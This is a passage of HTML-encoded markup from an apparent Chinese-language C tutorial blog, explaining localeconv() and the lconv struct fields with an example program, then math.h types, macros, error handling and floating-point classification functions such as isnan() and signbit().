\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Native locale: %s\\n\u0026#34;\u003c/span\u003e, loc);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"localeconv\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#localeconv\" class=\"headerlink\" title=\"localeconv()\"\u003e\u003c/a\u003elocaleconv()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003elocaleconv()\u003c/code\u003e用来获取当前格式的详细信息。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e lconv* \u003cspan class=\"title function_\"\u003elocaleconv\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e该函数返回一个 Struct 结构指针,该结构里面包含了格式信息,它的主要属性如下。\u003c/p\u003e\u003cul\u003e\u003cli\u003echar* mon_decimal_point:货币的十进制小数点字符,比如\u003ccode\u003e.\u003c/code\u003e。\u003c/li\u003e\u003cli\u003echar* mon_thousands_sep:货币的千位分隔符,比如\u003ccode\u003e,\u003c/code\u003e。\u003c/li\u003e\u003cli\u003echar* mon_grouping:货币的分组描述符。\u003c/li\u003e\u003cli\u003echar* positive_sign:货币的正值符号,比如\u003ccode\u003e+\u003c/code\u003e或为空字符串。\u003c/li\u003e\u003cli\u003echar* negative_sign:货币的负值符号,比如\u003ccode\u003e-\u003c/code\u003e。\u003c/li\u003e\u003cli\u003echar* currency_symbol:货币符号,比如\u003ccode\u003e$\u003c/code\u003e。\u003c/li\u003e\u003cli\u003echar frac_digits:打印货币金额时,十进制小数点后面输出几位小数,比如设为\u003ccode\u003e2\u003c/code\u003e。\u003c/li\u003e\u003cli\u003echar p_cs_precedes:设为\u003ccode\u003e1\u003c/code\u003e时,货币符号\u003ccode\u003ecurrency_symbol\u003c/code\u003e出现在非负金额前面。设为\u003ccode\u003e0\u003c/code\u003e时,出现在后面。\u003c/li\u003e\u003cli\u003echar n_cs_precedes:设为\u003ccode\u003e1\u003c/code\u003e时,货币符号\u003ccode\u003ecurrency_symbol\u003c/code\u003e出现在负的货币金额前面。设为\u003ccode\u003e0\u003c/code\u003e时,出现在后面。\u003c/li\u003e\u003cli\u003echar p_sep_by_space:决定了非负的货币金额与货币符号之间的分隔字符。\u003c/li\u003e\u003cli\u003echar n_sep_by_space:决定了负的货币金额与货币符号之间的分隔字符。\u003c/li\u003e\u003cli\u003echar p_sign_posn:决定了非负值的正值符号的位置。\u003c/li\u003e\u003cli\u003echar n_sign_posn:决定了负值的负值符号的位置。\u003c/li\u003e\u003cli\u003echar* int_curr_symbol:货币的国际符号,比如\u003ccode\u003eUSD\u003c/code\u003e。\u003c/li\u003e\u003cli\u003echar int_frac_digits:使用国际符号时,\u003ccode\u003efrac_digits\u003c/code\u003e的值。\u003c/li\u003e\u003cli\u003echar int_p_cs_precedes:使用国际符号时,\u003ccode\u003ep_cs_precedes\u003c/code\u003e的值。\u003c/li\u003e\u003cli\u003echar int_n_cs_precedes:使用国际符号时,\u003ccode\u003en_cs_precedes\u003c/code\u003e的值。\u003c/li\u003e\u003cli\u003echar int_p_sep_by_space:使用国际符号时,\u003ccode\u003ep_sep_by_space\u003c/code\u003e的值。\u003c/li\u003e\u003cli\u003echar int_n_sep_by_space:使用国际符号时,\u003ccode\u003en_sep_by_space\u003c/code\u003e的值。\u003c/li\u003e\u003cli\u003echar int_p_sign_posn:使用国际符号时,\u003ccode\u003ep_sign_posn\u003c/code\u003e的值。\u003c/li\u003e\u003cli\u003echar int_n_sign_posn:使用国际符号时,\u003ccode\u003en_sign_posn\u003c/code\u003e的值。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面程序打印当前系统的属性值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;locale.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e \u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e setlocale (LC_ALL,\u003cspan class=\"string\"\u003e\u0026#34;zh_CN\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003elconv\u003c/span\u003e * \u003cspan class=\"title\"\u003elc\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e lc=localeconv();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;decimal_point: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;decimal_point);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;thousands_sep: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;thousands_sep);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;grouping: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;grouping);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;int_curr_symbol: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;int_curr_symbol);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;currency_symbol: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;currency_symbol);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;mon_decimal_point: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;mon_decimal_point);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;mon_thousands_sep: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;mon_thousands_sep);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;mon_grouping: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;mon_grouping);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;positive_sign: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;positive_sign);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;negative_sign: %s\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;negative_sign);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;frac_digits: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;frac_digits);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;p_cs_precedes: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;p_cs_precedes);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;n_cs_precedes: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;n_cs_precedes);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;p_sep_by_space: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;p_sep_by_space);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;n_sep_by_space: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;n_sep_by_space);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;p_sign_posn: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;p_sign_posn);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;n_sign_posn: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;n_sign_posn);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;int_frac_digits: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;int_frac_digits);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;int_p_cs_precedes: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;int_p_cs_precedes);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;int_n_cs_precedes: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;int_n_cs_precedes);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;int_p_sep_by_space: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;int_p_sep_by_space);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;int_n_sep_by_space: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;int_n_sep_by_space);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;int_p_sign_posn: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;int_p_sign_posn);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#34;int_n_sign_posn: %d\\n\u0026#34;\u003c/span\u003e,lc-\u0026gt;int_n_sign_posn);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"math-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#math-h\" class=\"headerlink\" title=\"math.h\"\u003e\u003c/a\u003emath.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003emath.h\u003c/code\u003e头文件提供了很多数学函数。\u003c/p\u003e\u003cp\u003e很多数学函数的返回值是 double 类型,但是同时提供 float 类型与 long double 类型的版本,比如\u003ccode\u003epow()\u003c/code\u003e函数就还有\u003ccode\u003epowf()\u003c/code\u003e和\u003ccode\u003epowl()\u003c/code\u003e版本。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003epow\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003edouble\u003c/span\u003e x, \u003cspan class=\"type\"\u003edouble\u003c/span\u003e y)\u003c/span\u003e; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e \u003cspan class=\"title function_\"\u003epowf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003efloat\u003c/span\u003e x, \u003cspan class=\"type\"\u003efloat\u003c/span\u003e y)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003epowl\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e x, \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e y)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e为了简洁,下面就略去了函数的\u003ccode\u003ef\u003c/code\u003e后缀(float 类型)和\u003ccode\u003el\u003c/code\u003e后缀(long double)版本。\u003c/p\u003e\u003ch3 id=\"类型和宏\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%B1%BB%E5%9E%8B%E5%92%8C%E5%AE%8F\" class=\"headerlink\" title=\"类型和宏\"\u003e\u003c/a\u003e类型和宏\u003c/h3\u003e\u003cp\u003emath.h 新定义了两个类型别名。\u003c/p\u003e\u003cul\u003e\u003cli\u003efloat_t:(当前系统)最有效执行 float 运算的类型,宽度至少与 float 一样。\u003c/li\u003e\u003cli\u003edouble_t`:(当前系统)最有效执行 double 运算的类型,宽度至少与 double 一样。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它们的具体类型可以通过宏\u003ccode\u003eFLT_EVAL_METHOD\u003c/code\u003e来了解。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eFLT_EVAL_METHOD 的值\u003c/th\u003e\u003cth\u003efloat_t 对应的类型\u003c/th\u003e\u003cth\u003edouble_t 对应的类型\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003efloat\u003c/td\u003e\u003ctd\u003edouble\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e1\u003c/td\u003e\u003ctd\u003edouble\u003c/td\u003e\u003ctd\u003edouble\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e2\u003c/td\u003e\u003ctd\u003elong double\u003c/td\u003e\u003ctd\u003elong double\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e其他\u003c/td\u003e\u003ctd\u003e由实现决定\u003c/td\u003e\u003ctd\u003e由实现决定\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003emath.h 还定义了一些宏。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eINFINITY\u003c/code\u003e:表示正无穷,返回一个 float 类型的值。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eNAN\u003c/code\u003e:表示非数字(Not-A-Number),返回一个 float 类型的值。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"错误类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E9%94%99%E8%AF%AF%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"错误类型\"\u003e\u003c/a\u003e错误类型\u003c/h3\u003e\u003cp\u003e数学函数的报错有以下类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003eRange errors:运算结果不能用函数返回类型表示。\u003c/li\u003e\u003cli\u003eDomain errors:函数参数不适用当前函数。\u003c/li\u003e\u003cli\u003ePole errors:参数导致函数的极限值变成无限。\u003c/li\u003e\u003cli\u003eOverflow errors:运算结果太大,导致溢出。\u003c/li\u003e\u003cli\u003eUnderflow errors:运算结果太小,导致溢出。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e变量\u003ccode\u003emath_errhandling\u003c/code\u003e提示了当前系统如何处理数学运算错误。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003emath_errhandling 的值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eMATH_ERRNO\u003c/td\u003e\u003ctd\u003e系统使用 errno 表示数学错误\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eMATH_ERREXCEPT\u003c/td\u003e\u003ctd\u003e系统使用异常表示数学错误\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eMATH_ERRNO\u003c/td\u003e\u003ctd\u003eMATH_ERREXCEPT\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"数值类型\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B0%E5%80%BC%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"数值类型\"\u003e\u003c/a\u003e数值类型\u003c/h3\u003e\u003cp\u003e数学函数的参数可以分成以下几类:正常值,无限值,有限值和非数字。\u003c/p\u003e\u003cp\u003e下面的函数用来判断一个值的类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003efpclassify():返回给定浮点数的分类。\u003c/li\u003e\u003cli\u003eisfinite():如果参数不是无限或 NaN,则为真。\u003c/li\u003e\u003cli\u003eisinf():如果参数是无限的,则为真。\u003c/li\u003e\u003cli\u003eisnan():如果参数不是数字,则为真。\u003c/li\u003e\u003cli\u003eisnormal():如果参数是正常数字,则为真。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eisfinite(\u003cspan class=\"number\"\u003e1.23\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisinf(\u003cspan class=\"number\"\u003e1\u003c/span\u003e/\u003cspan class=\"built_in\"\u003etan\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisnan(\u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(\u003cspan class=\"number\"\u003e-1\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eisnormal(\u003cspan class=\"number\"\u003e1e-310\u003c/span\u003e)) \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"signbit\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#signbit\" class=\"headerlink\" title=\"signbit()\"\u003e\u003c/a\u003esignbit()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esignbit()\u003c/code\u003e判断参数是否带有符号。如果参数为负值,则返回1,否则返回0。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esignbit(\u003cspan class=\"number\"\u003e3490.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esignbit(\u003cspan class=\"number\"\u003e-37.0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"三角函数\"\u003e\u003ca 